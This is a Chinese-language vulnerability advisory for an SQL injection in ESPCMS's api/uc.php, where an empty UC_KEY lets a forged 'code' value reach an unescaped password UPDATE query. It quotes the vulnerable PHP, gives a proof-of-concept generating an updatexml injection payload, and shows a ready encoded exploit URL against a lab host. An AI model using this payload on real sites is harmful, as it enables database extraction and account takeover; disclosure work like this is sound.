ESPCMS UC未初始化导致SQL注入

1. 发布时间：2016-08-10
2. 公开时间：N/A
3. 漏洞类型：SQL注入
4. 危害等级：高
5. 漏洞编号：xianzhi-2016-08-37732301
6. 测试版本：N/A

漏洞详情

安装时未初始化uc导致注入
api/uc.php

$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if (MAGIC_QUOTES_GPC) {
    $get = _stripslashes($get);
}
$timestamp = time();
…………
$action = $get['action'];
…………
if (in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
    include_once DISCUZ_ROOT2 . 'datacache/public.php';
    require_once DISCUZ_ROOT . './class_dbMysql.php';
    $GLOBALS['db'] = new dbmysql();
    $GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);
    $GLOBALS['tablepre'] = db_prefix;
    $uc_note = new uc_note();
    $turecode = $uc_note->$get'action';
    exit($uc_note->$get'action');
…………
function updatepw($get, $post) {
    if (!API_UPDATEPW) {
        return API_RETURN_FORBIDDEN;
    }
    $username = $get['username'];
    $password = $get['password'];
    $newpw = md5($password);
    $this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
    return API_RETURN_SUCCEED;
}

流程是 $code->$get->$username;

UC_KEY的定义在 public/uc_config.php
define('UC_KEY', \$CONFIG['mem_uckey']);
$CONFIG['mem_uckey']在datacache/command.php
'mem_uckey'=>'',
所以UC_KEY的值就是'' 所以就能自己构造任意的值来被_authcode解密最终进入sql执行
poc如下

<?php
$timestamp = time()+10*3600;
$str = "time=$timestamp&action=updatepw&password=123&username=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#";
echo urlencode(_authcode($str,'ENCODE'));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
…………省略…………
}

这里为了方便演示开启了datacache/public.php中的db_sql和db_err选项 可以直接看到注入结果，

实际测试中默认关闭这两个选项所以需要延时注入。
访问http://192.168.1.170/espcms/api/uc.php?code=e06bFQG%2B5HM2KmutQthfoGFLlNpfo0TY7UkXxa3gXlWoSSlCg1ZeDUccbKjwS4mkiDOv9RoSGZhQKi8SfDCsyWKZ8UqYmHCpe17LrW%2FNNG5DpuUrudZHVVJxTV9YLgK3yNQGs4pef1e4CCwNA2AbT7Y06dqgIsvkqHWrmXjr%2BA82IrAjrVAUig9I9%2FsnWA
结果如图